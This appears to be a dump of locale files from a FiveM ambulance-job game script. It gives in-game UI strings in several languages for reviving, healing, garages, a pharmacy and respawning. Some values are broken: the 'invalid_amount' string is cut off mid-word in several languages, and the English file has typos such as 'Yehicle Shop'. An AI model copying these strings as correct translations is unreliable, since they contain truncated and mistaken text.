28 | ['vehicleshop_money'] = 'Tega vozila si ne morete privoščiti',
29 | ['vehicleshop_awaiting_model'] = 'Vozilo se trenutno PRENOSI in nalaga, počakajte',
30 | ['confirm_no'] = 'Ne',
31 | ['confirm_yes'] = 'Yes',
32 | -- Akcijski meni
33 | ['revive_inprogress'] = 'Oživljanje je v teku!',
34 | ['revive_complete'] = 'Oživili ste %s',
35 | ['revive_complete_award'] = 'Oživil si %s in zaslužil $%s!',
36 | ['revive_fail_offline'] = 'Ta igralec ni več na spletu',
37 | ['heal_inprogress'] = 'Zdraviš se!',
38 | ['heal_complete'] = 'Ozdravil si %s',
39 | ['no_players'] = 'V bližini ni igralcev',
40 | ['player_not_unconscious'] = 'Ta igralec ni nezavesten!',
41 | ['player_not_conscious'] = 'Ta igralec ni pri zavesti!',
42 | -- Boss Menu
43 | ['boss_actions'] = 'Boss Actions',
44 | -- Misc
45 | ['invalid_amount'] = 'Invalid amount',
46 | ['actions_prompt'] = 'Press [E] access the Ambulance Actions.',
47 | ['deposit_amount'] = 'Deposit Amount',
48 | ['money_withdraw'] = 'Amount withdrawn',
49 | ['fast_travel'] = 'press [E] to fast travel.',
50 | ['open_pharmacy'] = 'Press [E] to open the pharmacy.',
51 | ['pharmacy_menu_title'] = 'Pharmacy',
52 | ['pharmacy_take'] = 'Take %s',
53 | ['medikit'] = 'Medikit',
54 | ['bandage'] = 'Bandage',
55 | ['max_item'] = 'You are already carrying enough.',
56 | -- F6 Menu
57 | ['ems_menu'] = 'EMS Menu',
58 | ['ems_menu_title'] = 'Ambulance - EMS Menu',
59 | ['ems_menu_revive'] = 'Revive Player',
60 | ['ems_menu_putincar'] = 'Put in Vehicle',
61 | ['ems_menu_small'] = 'Heal small wounds',
62 | ['ems_menu_big'] = 'Treat serious injuries',
63 | ['ems_menu_search'] = 'Patient not found',
64 | -- Telefon
65 | ['alert_ambulance'] = 'Alert Ambulance',
66 | -- Smrt
67 | ['respawn_available_in'] = 'Ponovna obnova je na voljo čez %s minut %s sekund',
68 | ['respawn_bleedout_in'] = 'Izkrvavel boš v %s minutah %s sekundah\n',
69 | ['respawn_bleedout_prompt'] = "Držite [E], da se ponovno poženete",
70 | ['respawn_bleedout_fine'] = 'Držite [E], da se ponovno pojavite za $%s',
71 | ['respawn_bleedout_fine_msg'] = 'Plačali ste $%s za ponovni zagon.',
72 | ['distress_send'] = 'Pritisnite [G] za pošiljanje signala za pomoč',
73 | ['distress_sent'] = 'Signal v stiski je bil poslan razpoložljivim enotam!',
74 | -- Oživitev
75 | ['revive_help'] = 'oživi igralca',
76 | -- predmet
77 | ['used_medikit'] = 'Uporabili ste 1x medikit',
78 | ['used_bandage'] = 'Uporabili ste 1x povoj',
79 | ['not_enough_medikit'] = 'Nimate medikita.',
80 | ['not_enough_bandage'] = 'Nimate povoja.',
81 | ['healed'] = 'Bili ste zdravljeni.',
82 | -- Blips
83 | ['blip_hospital'] = 'Bolnišnica',
84 | ['blip_dead'] = 'Nezavestni igralec',
85 | }
86 |
--------------------------------------------------------------------------------
/locales/pl.lua:
--------------------------------------------------------------------------------
1 | Locales['pl'] = {
2 | -- Cloakroom
3 | ['cloakroom'] = 'szatnia',
4 | ['ems_clothes_civil'] = 'ubrania cywilne',
5 | ['ems_clothes_ems'] = 'ubrania EMS',
6 | -- Vehicles
7 | ['ambulance'] = 'ambulance',
8 | ['helicopter_prompt'] = 'press [E] to access the Helicopter Actions.',
9 | ['garage_prompt'] = 'press [E] to access the Vehicle Actions.',
10 | ['garage_title'] = 'vehicle Actions',
11 | ['garage_stored'] = 'stored',
12 | ['garage_notstored'] = 'not in garage',
13 | ['garage_storing'] = 'we\'re attempting to remove the vehicle, make sure no players are around it.',
14 | ['garage_has_stored'] = 'the vehicle has been stored in your garage',
15 | ['garage_has_notstored'] = 'no nearby owned vehicles were found',
16 | ['garage_notavailable'] = 'your vehicle is not stored in the garage.',
17 | ['garage_blocked'] = 'there\'s no available spawn points!',
18 | ['garage_empty'] = 'you don\'t have any vehicles in your garage.',
19 | ['garage_released'] = 'your vehicle has been released from the garage.',
20 | ['garage_store_nearby'] = 'there is no nearby vehicles.',
21 | ['garage_storeditem'] = 'open garage',
22 | ['garage_storeitem'] = 'store vehicle in garage',
23 | ['garage_buyitem'] = 'vehicle shop',
24 | ['shop_item'] = '$%s',
25 | ['vehicleshop_title'] = 'vehicle Shop',
26 | ['vehicleshop_confirm'] = 'do you want to buy this vehicle?',
27 | ['vehicleshop_bought'] = 'you have bought %s for $%s',
28 | ['vehicleshop_money'] = 'you cannot afford that vehicle',
29 | ['vehicleshop_awaiting_model'] = 'the vehicle is currently DOWNLOADING & LOADING please wait',
30 | ['confirm_no'] = 'no',
31 | ['confirm_yes'] = 'yes',
32 | -- Action Menu
33 | ['revive_inprogress'] = 'trwa wskrzeszenie',
34 | ['revive_complete'] = 'zostałeś wskrzeszony %s',
35 | ['revive_complete_award'] = 'zostałeś wskrzeszony %s i zarobiono $%s!',
36 | ['revive_fail_offline'] = 'that player is no longer online',
37 | ['heal_inprogress'] = 'leczysz!',
38 | ['heal_complete'] = 'zostałeś uleczony %s',
39 | ['no_players'] = 'brak graczy w pobliżu',
40 | ['player_not_unconscious'] = 'ten gracz nie jest nieprzytomny!',
41 | ['player_not_conscious'] = 'ten gracz nie jest świadomy!',
42 | -- Boss Menu
43 | ['boss_actions'] = 'akcje szefa',
44 | -- Misc
45 | ['invalid_amount'] = ' widłowa kwota',
46 | ['actions_prompt'] = 'press [E] access the Ambulance Actions.',
47 | ['deposit_amount'] = 'kwota depozytu',
48 | ['money_withdraw'] = 'wycofana kwota',
49 | ['fast_travel'] = 'naciśnij na [E] do szybkiej podróży.',
50 | ['open_pharmacy'] = 'naciśnij na [E] aby otworzyć aptekę',
51 | ['pharmacy_menu_title'] = 'apteka',
52 | ['pharmacy_take'] = 'weź %s',
53 | ['medikit'] = 'apteczka',
54 | ['bandage'] = 'bandaż',
55 | ['max_item'] = 'już masz na sobie dość.',
56 | -- F6 Menu
57 | ['ems_menu'] = 'menu EMS',
58 | ['ems_menu_title'] = 'eMS Menu - Ambulans',
59 | ['ems_menu_revive'] = 'ożyw gracza',
60 | ['ems_menu_putincar'] = 'umieścić w pojeździe',
61 | ['ems_menu_small'] = 'ulecz małe rany',
62 | ['ems_menu_big'] = 'ulecz poważne obrażenia',
63 | ['ems_menu_search'] = 'nie znaleziono pacjenta',
64 | -- Phone
65 | ['alert_ambulance'] = 'wezwij ambulans',
66 | -- Death
67 | ['respawn_available_in'] = 'respawn available in %s minutes %s seconds',
68 | ['respawn_bleedout_in'] = 'you will bleed out in %s minutes %s seconds\n',
69 | ['respawn_bleedout_prompt'] = 'hold [E] to respawn',
70 | ['respawn_bleedout_fine'] = 'hold [E] to respawn for $%s',
71 | ['respawn_bleedout_fine_msg'] = 'you paid $%s to respawn.',
72 | ['distress_send'] = 'press [G] to send distress signal',
73 | ['distress_sent'] = 'distress signal has been sent to available units!',
74 | -- Revive
75 | ['revive_help'] = 'ożyw gracza',
76 | -- Item
77 | ['used_medikit'] = 'użyłeś 1x apteczki',
78 | ['used_bandage'] = 'użyłeś 1x bandaża',
79 | ['not_enough_medikit'] = 'nie posiadasz apteczki.',
80 | ['not_enough_bandage'] = 'nie posiadasz bandaża.',
81 | ['healed'] = 'zostałeś potraktowany',
82 | -- Blips
83 | ['blip_hospital'] = 'szpital',
84 | ['blip_dead'] = 'unconscious player',
85 | }
86 |
--------------------------------------------------------------------------------
/locales/en.lua:
--------------------------------------------------------------------------------
1 | Locales['en'] = {
2 | -- Cloakroom
3 | ['cloakroom'] = 'Locker Room',
4 | ['ems_clothes_civil'] = 'Civilian Clothes',
5 | ['ems_clothes_ems'] = 'EMS Clothes',
6 | -- Vehicles
7 | ['ambulance'] = 'Ambulance',
8 | ['helicopter_prompt'] = 'Press [E] to access the Helicopter Actions.',
9 | ['garage_prompt'] = 'Press [E] to access the Vehicle Actions.',
10 | ['garage_title'] = 'Vehicle Actions',
11 | ['garage_stored'] = 'Stored',
12 | ['garage_notstored'] = 'Not in garage',
13 | ['garage_storing'] = 'We\'re attempting to remove the vehicle, make sure no players are around it.',
14 | ['garage_has_stored'] = 'The vehicle has been stored in your garage',
15 | ['garage_has_notstored'] = 'No nearby owned vehicles were found',
16 | ['garage_notavailable'] = 'Your vehicle is not stored in the garage.',
17 | ['garage_blocked'] = 'There\'s no available spawn points!',
18 | ['garage_empty'] = 'You don\'t have any vehicles in your garage.',
19 | ['garage_released'] = 'Your vehicle has been released from the garage.',
20 | ['garage_store_nearby'] = 'There is no nearby vehicles.',
21 | ['garage_storeditem'] = 'Open garage',
22 | ['garage_storeitem'] = 'Store vehicle in garage',
23 | ['garage_buyitem'] = 'Vehicle shop',
24 | ['shop_item'] = '$%s',
25 | ['vehicleshop_title'] = 'Yehicle Shop',
26 | ['vehicleshop_confirm'] = 'Yo you want to buy this vehicle?',
27 | ['vehicleshop_bought'] = 'You have bought %s for $%s',
28 | ['vehicleshop_money'] = 'You cannot afford that vehicle',
29 | ['vehicleshop_awaiting_model'] = 'The vehicle is currently DOWNLOADING & LOADING please wait',
30 | ['confirm_no'] = 'No',
31 | ['confirm_yes'] = 'Yes',
32 | -- Action Menu
33 | ['revive_inprogress'] = 'A revive is in progress!',
34 | ['revive_complete'] = 'You have revived %s',
35 | ['revive_complete_award'] = 'You have revived %s and earned $%s!',
36 | ['revive_fail_offline'] = 'That player is no longer online',
37 | ['heal_inprogress'] = 'You are healing!',
38 | ['heal_complete'] = 'You have healed %s',
39 | ['no_players'] = 'No players nearby',
40 | ['player_not_unconscious'] = 'That player is not unconscious!',
41 | ['player_not_conscious'] = 'That player is not conscious!',
42 | -- Boss Menu
43 | ['boss_actions'] = 'Boss Actions',
44 | -- Misc
45 | ['invalid_amount'] = 'Invalid amount',
46 | ['actions_prompt'] = 'Press [E] access the Ambulance Actions.',
47 | ['deposit_amount'] = 'Deposit Amount',
48 | ['money_withdraw'] = 'Amount withdrawn',
49 | ['fast_travel'] = 'press [E] to fast travel.',
50 | ['open_pharmacy'] = 'Press [E] to open the pharmacy.',
51 | ['pharmacy_menu_title'] = 'Pharmacy',
52 | ['pharmacy_take'] = 'Take %s',
53 | ['medikit'] = 'Medikit',
54 | ['bandage'] = 'Bandage',
55 | ['max_item'] = 'You are already carrying enough.',
56 | -- F6 Menu
57 | ['ems_menu'] = 'EMS Menu',
58 | ['ems_menu_title'] = 'Ambulance - EMS Menu',
59 | ['ems_menu_revive'] = 'Revive Player',
60 | ['ems_menu_putincar'] = 'Put in Vehicle',
61 | ['ems_menu_small'] = 'Heal small wounds',
62 | ['ems_menu_big'] = 'Treat serious injuries',
63 | ['ems_menu_search'] = 'Patient not found',
64 | -- Phone
65 | ['alert_ambulance'] = 'Alert Ambulance',
66 | -- Death
67 | ['respawn_available_in'] = 'Respawn available in %s minutes %s seconds',
68 | ['respawn_bleedout_in'] = 'You will bleed out in %s minutes %s seconds\n',
69 | ['respawn_bleedout_prompt'] = 'Hold [E] to respawn',
70 | ['respawn_bleedout_fine'] = 'Hold [E] to respawn for $%s',
71 | ['respawn_bleedout_fine_msg'] = 'You paid $%s to respawn.',
72 | ['distress_send'] = 'Press [G] to send distress signal',
73 | ['distress_sent'] = 'Distress signal has been sent to available units!',
74 | -- Revive
75 | ['revive_help'] = 'revive a player',
76 | -- Item
77 | ['used_medikit'] = 'You have used 1x medikit',
78 | ['used_bandage'] = 'You have used 1x bandage',
79 | ['not_enough_medikit'] = 'You do not have medikit.',
80 | ['not_enough_bandage'] = 'You do not have bandage.',
81 | ['healed'] = 'You have been treated.',
82 | -- Blips
83 | ['blip_hospital'] = 'Hospital',
84 | ['blip_dead'] = 'Dying Player',
85 | }
86 |
--------------------------------------------------------------------------------
/locales/sv.lua:
--------------------------------------------------------------------------------
1 | Locales['sv'] = {
2 | -- Cloakroom
3 | ['cloakroom'] = 'omklädnignsrum',
4 | ['ems_clothes_civil'] = 'civilkläder',
5 | ['ems_clothes_ems'] = 'ambulanskläder',
6 | -- Vehicles
7 | ['ambulance'] = 'ambulans',
8 | ['helicopter_prompt'] = 'tryck [E] för att komma åt helikoptergaraget.',
9 | ['garage_prompt'] = 'tryck [E] för att komma åt garaget.',
10 | ['garage_title'] = 'garage',
11 | ['garage_stored'] = 'inställt',
12 | ['garage_notstored'] = 'uttaget',
13 | ['garage_storing'] = 'vi håller på att ställa in ditt fordon, se till att ingen är i närheten.',
14 | ['garage_has_stored'] = 'fordonet har ställts in i garaget',
15 | ['garage_has_notstored'] = 'inget ägt fordon finns i närheten',
16 | ['garage_notavailable'] = 'ditt fordon är inte inställt i ditt garage.',
17 | ['garage_blocked'] = 'det finns ingen tillgänglig plats att ställa ut fordonet på!',
18 | ['garage_empty'] = 'du har inga fordon i ditt garage.',
19 | ['garage_released'] = 'ditt fordon har tagits ut från garaget.',
20 | ['garage_store_nearby'] = 'det finns inget fordon i närheten.',
21 | ['garage_storeditem'] = 'öppna garage',
22 | ['garage_storeitem'] = 'ställ in fordon',
23 | ['garage_buyitem'] = 'fordonshandel',
24 | ['shop_item'] = '%s SEK',
25 | ['vehicleshop_title'] = 'fordonshandel',
26 | ['vehicleshop_confirm'] = 'vill du köpa detta fordon?',
27 | ['vehicleshop_bought'] = 'du köpte %s för %s SEK',
28 | ['vehicleshop_money'] = 'du har inte råd med detta fordon',
29 | ['vehicleshop_awaiting_model'] = 'fordonet LADDAS NED OCH LADDAS IN var god vänta',
30 | ['confirm_no'] = 'nej',
31 | ['confirm_yes'] = 'ja',
32 | -- Action Menu
33 | ['revive_inprogress'] = 'en återupplivning har börjats',
34 | ['revive_complete'] = 'du har återupplivat %s, bra jobbat!',
35 | ['revive_complete_award'] = 'du har återupplivat %s och tjänat %s SEK för dina tjänster, bra jobbat!',
36 | ['revive_fail_offline'] = 'den spelaren har lämnat servern',
37 | ['heal_inprogress'] = 'du behandlar patienten!',
38 | ['heal_complete'] = 'du har behandlat %s',
39 | ['no_players'] = 'det finns inga spelare i närheten!',
40 | ['player_not_unconscious'] = 'spelaren är inte medvetslös!',
41 | ['player_not_conscious'] = 'spelaren är inte vid medvetande!',
42 | -- Boss Menu
43 | ['boss_actions'] = 'chefsmeny',
44 | -- Misc
45 | ['invalid_amount'] = ' g mängd',
46 | ['actions_prompt'] = 'tryck [E] för att öppna menyn.',
47 | ['deposit_amount'] = 'mängd att sätta in',
48 | ['money_withdraw'] = 'mängd att ta ut',
49 | ['fast_travel'] = 'tryck på [E] för att snabbresa.',
50 | ['open_pharmacy'] = 'tryck på [E] för att öppna apoteket.',
51 | ['pharmacy_menu_title'] = 'apotek',
52 | ['pharmacy_take'] = 'ta %s',
53 | ['medikit'] = 'akutväska',
54 | ['bandage'] = 'bandage',
55 | ['max_item'] = 'du har redan tillräckligt mycket på dig.',
56 | -- F6 Menu
57 | ['ems_menu'] = 'ambulansmeny',
58 | ['ems_menu_title'] = 'ambulansmeny',
59 | ['ems_menu_revive'] = 'återuppliva spelare',
60 | ['ems_menu_putincar'] = 'sätt i fordon',
61 | ['ems_menu_small'] = 'behandla mindre skador',
62 | ['ems_menu_big'] = 'behandla svåra skador',
63 | ['ems_menu_search'] = 'patienten hittades inte',
64 | -- Phone
65 | ['alert_ambulance'] = 'ambulanssamtal',
66 | -- Death
67 | ['respawn_available_in'] = 'respawn tillgänglig om %s:%s',
68 | ['respawn_bleedout_in'] = 'du kommer att förblöda om %s:%s\n',
69 | ['respawn_bleedout_prompt'] = 'håll [E] för att respawna',
70 | ['respawn_bleedout_fine'] = 'håll [E] för att respawna, kostar %s SEK',
71 | ['respawn_bleedout_fine_msg'] = 'du betalade %s för att respawna.',
72 | ['distress_send'] = 'tryck [G] för att skicka nödsignal',
73 | ['distress_sent'] = 'nödsignal har skickats till samtliga enheter!',
74 | -- Revive
75 | ['revive_help'] = 'återuppliva en spelare',
76 | -- Item
77 | ['used_medikit'] = 'du har använt 1x akutväska',
78 | ['used_bandage'] = 'du har använt 1x bandage',
79 | ['not_enough_medikit'] = 'du har ingen akutväska.',
80 | ['not_enough_bandage'] = 'du har inget bandage.',
81 | ['healed'] = 'dina skador har blivit behandlade.',
82 | -- Blips
83 | ['blip_hospital'] = 'sjukhus',
84 | ['blip_dead'] = 'medvetslös människa',
85 | }
86 |
--------------------------------------------------------------------------------
/locales/fi.lua:
--------------------------------------------------------------------------------
1 | Locales['fi'] = {
2 | -- Cloakroom
3 | ['cloakroom'] = 'vaatelokero',
4 | ['ems_clothes_civil'] = 'siviilikamppeet',
5 | ['ems_clothes_ems'] = 'työkamppeet',
6 | -- Vehicles
7 | ['ambulance'] = 'ambulance',
8 | ['helicopter_prompt'] = 'press [E] to access the Helicopter Actions.',
9 | ['garage_prompt'] = 'press [E] to access the Vehicle Actions.',
10 | ['garage_title'] = 'vehicle Actions',
11 | ['garage_stored'] = 'stored',
12 | ['garage_notstored'] = 'not in garage',
13 | ['garage_storing'] = 'we\'re attempting to remove the vehicle, make sure no players are around it.',
14 | ['garage_has_stored'] = 'the vehicle has been stored in your garage',
15 | ['garage_has_notstored'] = 'no nearby owned vehicles were found',
16 | ['garage_notavailable'] = 'your vehicle is not stored in the garage.',
17 | ['garage_blocked'] = 'there\'s no available spawn points!',
18 | ['garage_empty'] = 'you don\'t have any vehicles in your garage.',
19 | ['garage_released'] = 'your vehicle has been released from the garage.',
20 | ['garage_store_nearby'] = 'there is no nearby vehicles.',
21 | ['garage_storeditem'] = 'open garage',
22 | ['garage_storeitem'] = 'store vehicle in garage',
23 | ['garage_buyitem'] = 'vehicle shop',
24 | ['shop_item'] = '$%s',
25 | ['vehicleshop_title'] = 'vehicle Shop',
26 | ['vehicleshop_confirm'] = 'do you want to buy this vehicle?',
27 | ['vehicleshop_bought'] = 'you have bought %s for $%s',
28 | ['vehicleshop_money'] = 'you cannot afford that vehicle',
29 | ['vehicleshop_awaiting_model'] = 'the vehicle is currently DOWNLOADING & LOADING please wait',
30 | ['confirm_no'] = 'no',
31 | ['confirm_yes'] = 'yes',
32 | -- Action Menu
33 | ['revive_inprogress'] = 'elvytys on menossa!',
34 | ['revive_complete'] = 'sinä elvytit henkilön %s',
35 | ['revive_complete_award'] = 'sinä elvytit henkilön %s ja tienasit $%s!',
36 | ['revive_fail_offline'] = 'that player is no longer online',
37 | ['heal_inprogress'] = 'sinä olet parantamassa!',
38 | ['heal_complete'] = 'sinä paransit henkilön %s',
39 | ['no_players'] = 'ei pelaajia lähettyvillä',
40 | ['player_not_unconscious'] = 'tämä pelaaja ei ole tajuton!',
41 | ['player_not_conscious'] = 'tämä pelaaja ei ole tajuissaan!',
42 | -- Boss Menu
43 | ['boss_actions'] = 'pomovalikko',
44 | -- Misc
45 | ['invalid_amount'] = ' llinen summa',
46 | ['actions_prompt'] = 'press [E] access the Ambulance Actions.',
47 | ['deposit_amount'] = 'talletettava summa',
48 | ['money_withdraw'] = 'nostettava summa',
49 | ['fast_travel'] = 'paina [E] liikkuaksesi nopeasti kerrosten välillä',
50 | ['open_pharmacy'] = 'paina [E] avataksesi lääkekaappi',
51 | ['pharmacy_menu_title'] = 'lääkekaappi',
52 | ['pharmacy_take'] = 'ota %s',
53 | ['medikit'] = 'ensiapupakkauksia',
54 | ['bandage'] = 'sideharsoja',
55 | ['max_item'] = 'sinulla on jo tarpeeksi mukana',
56 | -- F6 Menu
57 | ['ems_menu'] = 'ensihoito menu',
58 | ['ems_menu_title'] = 'ensihoito - Siviilin kanssakäyminen',
59 | ['ems_menu_revive'] = 'elvytä',
60 | ['ems_menu_putincar'] = 'Laita ajoneuvoon',
61 | ['ems_menu_small'] = 'hoida pieniä haavoja',
62 | ['ems_menu_big'] = 'hoida isoja haavoja',
63 | ['ems_menu_search'] = 'potilasta ei löydy',
64 | -- Phone
65 | ['alert_ambulance'] = 'hälyytys Ensihoidolle',
66 | -- Death
67 | ['respawn_available_in'] = 'respawn available in %s minutes %s seconds',
68 | ['respawn_bleedout_in'] = 'you will bleed out in %s minutes %s seconds\n',
69 | ['respawn_bleedout_prompt'] = 'hold [E] to respawn',
70 | ['respawn_bleedout_fine'] = 'hold [E] to respawn for $%s',
71 | ['respawn_bleedout_fine_msg'] = 'you paid $%s to respawn.',
72 | ['distress_send'] = 'press [G] to send distress signal',
73 | ['distress_sent'] = 'distress signal has been sent to available units!',
74 | -- Revive
75 | ['revive_help'] = 'elvytä pelaaja',
76 | -- Item
77 | ['used_medikit'] = 'sinä käytit ensiapupakkauksen',
78 | ['used_bandage'] = 'sinä käytit sideharsoja',
79 | ['not_enough_medikit'] = 'ei tarpeeksi ensiapupakkauksia.',
80 | ['not_enough_bandage'] = 'ei tarpeeksi sideharsoja.',
81 | ['healed'] = 'sinua parannettiin',
82 | -- Blips
83 | ['blip_hospital'] = 'sairaala',
84 | ['blip_dead'] = 'unconscious player',
85 | }
86 |
--------------------------------------------------------------------------------
/locales/nl.lua:
--------------------------------------------------------------------------------
1 | Locales['nl'] = {
2 | -- Cloakroom
3 | ['cloakroom'] = 'Kleedkamer',
4 | ['ems_clothes_civil'] = 'Burgerkleding',
5 | ['ems_clothes_ems'] = 'Ambulance Kleding',
6 | -- Vehicles
7 | ['ambulance'] = 'Ambulance',
8 | ['helicopter_prompt'] = 'Druk op [E] om de Lifeliners te beheren.',
9 | ['garage_prompt'] = 'Druk op [E] om de Garage te openen.',
10 | ['garage_title'] = 'Garage',
11 | ['garage_stored'] = 'In Garage',
12 | ['garage_notstored'] = 'Niet In Garage',
13 | ['garage_storing'] = 'We proberen je voertuig op te bergen, zorg dat er niemand in de buurt is.',
14 | ['garage_has_stored'] = 'Je voertuig is in de garage gezet',
15 | ['garage_has_notstored'] = 'Er zijn geen voertuigen in de buurt gevonden die van jou zijn',
16 | ['garage_notavailable'] = 'Je voertuig staat niet in de garage.',
17 | ['garage_blocked'] = 'Er is geen spawnplek beschikbaar!',
18 | ['garage_empty'] = 'Er staat geen voertuig in je garage.',
19 | ['garage_released'] = 'Je voertuig is uit de garage gehaald.',
20 | ['garage_store_nearby'] = 'Er zijn geen voertuigen in de buurt.',
21 | ['garage_storeditem'] = 'Open garage',
22 | ['garage_storeitem'] = 'Zet voertuig in de garage',
23 | ['garage_buyitem'] = 'Voertuigwinkel',
24 | ['shop_item'] = '€%s',
25 | ['vehicleshop_title'] = 'Voertuigwinkel',
26 | ['vehicleshop_confirm'] = 'Wil je dit voertuig kopen?',
27 | ['vehicleshop_bought'] = 'Je hebt een %s gekocht voor €%s',
28 | ['vehicleshop_money'] = 'Je kan dit voertuig niet betalen',
29 | ['vehicleshop_awaiting_model'] = 'Het voertuig is aan het DOWNLOADEN & LADEN, even geduld',
30 | ['confirm_no'] = 'Nee',
31 | ['confirm_yes'] = 'Ja',
32 | -- Action Menu
33 | ['revive_inprogress'] = 'Reanimatie is in gang gezet!',
34 | ['revive_complete'] = 'Je hebt %s gereanimeerd',
35 | ['revive_complete_award'] = 'Je hebt %s gereanimeerd en €%s verdient!',
36 | ['revive_fail_offline'] = 'Deze speler is niet langer online',
37 | ['heal_inprogress'] = 'Je wordt genezen!',
38 | ['heal_complete'] = 'Je hebt %s genezen',
39 | ['no_players'] = 'Geen spelers in de buurt',
40 | ['player_not_unconscious'] = 'Deze persoon is niet bewusteloos!',
41 | ['player_not_conscious'] = 'Deze persoon is bewusteloos!',
42 | -- Boss Menu
43 | ['boss_actions'] = 'Manager Acties',
44 | -- Misc
45 | ['invalid_amount'] = ' ig aantal',
46 | ['actions_prompt'] = 'Druk op [E] om de Ambulance Acties te bekijken.',
47 | ['deposit_amount'] = 'Bedrag om te storten',
48 | ['money_withdraw'] = 'Bedrag om op te nemen',
49 | ['fast_travel'] = 'Druk op [E] om snel te reizen.',
50 | ['open_pharmacy'] = 'Druk op [E] om de apotheek te openen.',
51 | ['pharmacy_menu_title'] = 'Apotheek',
52 | ['pharmacy_take'] = 'Pak %s',
53 | ['medikit'] = 'Spoedkoffer',
54 | ['bandage'] = 'Verbanddoos',
55 | ['max_item'] = 'Je draagt al genoeg bij je.',
56 | -- F6 Menu
57 | ['ems_menu'] = 'Ambulance Menu',
58 | ['ems_menu_title'] = 'Ambulance - Menu',
59 | ['ems_menu_revive'] = 'Reanimeer speler',
60 | ['ems_menu_putincar'] = 'Zet in voertuig',
61 | ['ems_menu_small'] = 'Behandel kleine verwondingen',
62 | ['ems_menu_big'] = 'Behandel grote verwondingen',
63 | -- Phone
64 | ['alert_ambulance'] = 'alert Ambulance',
65 | -- Death
66 | ['respawn_available_in'] = 'Respawn beschikbaar in %s minuten en %s seconden',
67 | ['respawn_bleedout_in'] = 'Je zal doodbloeden in %s minuten %s seconden\n',
68 | ['respawn_bleedout_prompt'] = 'Houd [E] ingedrukt om te respawnen',
69 | ['respawn_bleedout_fine'] = 'Houd [E] ingedrukt om te respawnen voor €%s',
70 | ['respawn_bleedout_fine_msg'] = 'Je hebt €%s betaald om te respawnen.',
71 | ['distress_send'] = 'Druk op [G] om een noodsignaal te verzenden',
72 | ['distress_sent'] = 'Noodsignaal verzonden naar alle beschikbare eenheden!',
73 | -- Revive
74 | ['revive_help'] = 'Revive een speler',
75 | -- Item
76 | ['used_medikit'] = 'Je hebt 1 spoedkoffer gebruikt',
77 | ['used_bandage'] = 'Je hebt 1 verbandkoffer gebruikt',
78 | ['not_enough_medikit'] = 'Je hebt geen spoedkoffer bij.',
79 | ['not_enough_bandage'] = 'Je hebt geen verbandkoffer bij.',
80 | ['healed'] = 'Je bent behandeld.',
81 | -- Blips
82 | ['blip_hospital'] = 'Ziekenhuis',
83 | ['blip_dead'] = 'Bewusteloze speler',
84 | }
85 |
--------------------------------------------------------------------------------
/locales/br.lua:
--------------------------------------------------------------------------------
1 | Locales['br'] = {
2 | -- Cloakroom
3 | ['cloakroom'] = 'guarda roupa',
4 | ['ems_clothes_civil'] = 'roupa normal',
5 | ['ems_clothes_ems'] = 'entrar como socorrista',
6 | -- Vehicles
7 | ['ambulance'] = 'ambulancia',
8 | ['helicopter_prompt'] = 'pressione [E] para acessar a Helicopter Actions.',
9 | ['garage_prompt'] = 'pressione [E] para entra no Vehicle Actions.',
10 | ['garage_title'] = 'ações do veiculo',
11 | ['garage_stored'] = 'guardado',
12 | ['garage_notstored'] = 'não foi guardado',
13 | ['garage_storing'] = 'estamos tentando guardar o veículo, verifique se não há cidadões ao seu redor.',
14 | ['garage_has_stored'] = 'o veículo foi guardado na sua garagem',
15 | ['garage_has_notstored'] = 'nem um dos seus veiculos foi encontrado proximo',
16 | ['garage_notavailable'] = 'o seu veículo não está guardado na garagem.',
17 | ['garage_blocked'] = 'não há pontos de spawn disponíveis!',
18 | ['garage_empty'] = 'você não tem veículos na sua garagem.',
19 | ['garage_released'] = 'seu veículo foi liberado da garagem.',
20 | ['garage_store_nearby'] = 'não há veículos próximos.',
21 | ['garage_storeditem'] = 'abrir garagem',
22 | ['garage_storeitem'] = 'veículo da loja na garagem',
23 | ['garage_buyitem'] = 'loja de veículos',
24 | ['shop_item'] = '$%s',
25 | ['vehicleshop_title'] = 'loja de veículos',
26 | ['vehicleshop_confirm'] = 'você quer comprar este veículo?',
27 | ['vehicleshop_bought'] = 'você comprou %s para $%s',
28 | ['vehicleshop_money'] = 'você não pode pagar esse veículo',
29 | ['vehicleshop_awaiting_model'] = 'o veículo está atualmente DOWNLOADING & LOADING, por favor aguarde',
30 | ['confirm_no'] = 'não',
31 | ['confirm_yes'] = 'sim',
32 | -- Action Menu
33 | ['revive_inprogress'] = 'reanimação em andamento',
34 | ['revive_complete'] = 'você ressuscitou %s',
35 | ['revive_complete_award'] = 'você ressuscitou %s, $%s',
36 | ['revive_fail_offline'] = 'esse cidadão não está mais na cidade',
37 | ['heal_inprogress'] = 'você está curando!',
38 | ['heal_complete'] = 'você curou %s',
39 | ['no_players'] = 'nenhum cidadão nas proximidades',
40 | ['player_not_unconscious'] = 'não está inconsciente',
41 | ['player_not_conscious'] = 'esse cidadão não está consciente!',
42 | -- Boss Menu
43 | ['boss_actions'] = 'menu administração',
44 | -- Misc
45 | ['invalid_amount'] = ' dade inválida',
46 | ['actions_prompt'] = 'aperte [E] para entra Ambulance Actions.',
47 | ['deposit_amount'] = 'quantidade inválida para deposito',
48 | ['money_withdraw'] = 'quantidade a ser retirada',
49 | ['fast_travel'] = 'aperte [E] para mover-se rapidamente.',
50 | ['open_pharmacy'] = 'aperte [E] para abrir a farmácia.',
51 | ['pharmacy_menu_title'] = 'farmácia',
52 | ['pharmacy_take'] = 'tomar %s',
53 | ['medikit'] = 'seringa',
54 | ['bandage'] = 'vendagem',
55 | ['max_item'] = 'você não pode carregar mais',
56 | -- F6 Menu
57 | ['ems_menu'] = 'interação com cidadão',
58 | ['ems_menu_title'] = 'ambulância - Interação com cidadão',
59 | ['ems_menu_revive'] = 'reanimar',
60 | ['ems_menu_putincar'] = 'colocar no veiculo',
61 | ['ems_menu_small'] = 'curar pequenas feridas',
62 | ['ems_menu_big'] = 'tratando lesões graves',
63 | ['ems_menu_search'] = 'paciente não encontrado',
64 | -- Phone
65 | ['alert_ambulance'] = 'alerta socorrista',
66 | -- Death
67 | ['respawn_available_in'] = 'você irar reviver em %s minutos %s segundos',
68 | ['respawn_bleedout_in'] = 'você vai sangrar %s minutos %s segundos\n',
69 | ['respawn_bleedout_prompt'] = 'aguarde [E] para reviver',
70 | ['respawn_bleedout_fine'] = 'aguarde [E] para reviver por $%s',
71 | ['respawn_bleedout_fine_msg'] = 'você precisa pagar $%s para reviver',
72 | ['distress_send'] = 'pressione [G] enviar sinal de socorro',
73 | ['distress_sent'] = 'sinal de socorro foi enviado para as unidades disponíveis!',
74 |
75 | -- Revive
76 | ['revive_help'] = 'reviver um cidadão',
